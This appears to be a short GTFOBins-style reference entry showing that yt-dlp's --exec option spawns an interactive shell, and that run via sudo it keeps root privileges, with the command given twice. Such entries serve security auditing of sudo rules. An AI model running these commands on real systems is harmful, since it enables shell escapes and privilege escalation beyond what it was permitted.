This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
yt-dlp 'https://www.youtube.com/watch?v=xxxxxxxxxxx' --exec '/bin/sh #'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
yt-dlp 'https://www.youtube.com/watch?v=xxxxxxxxxxx' --exec '/bin/sh #'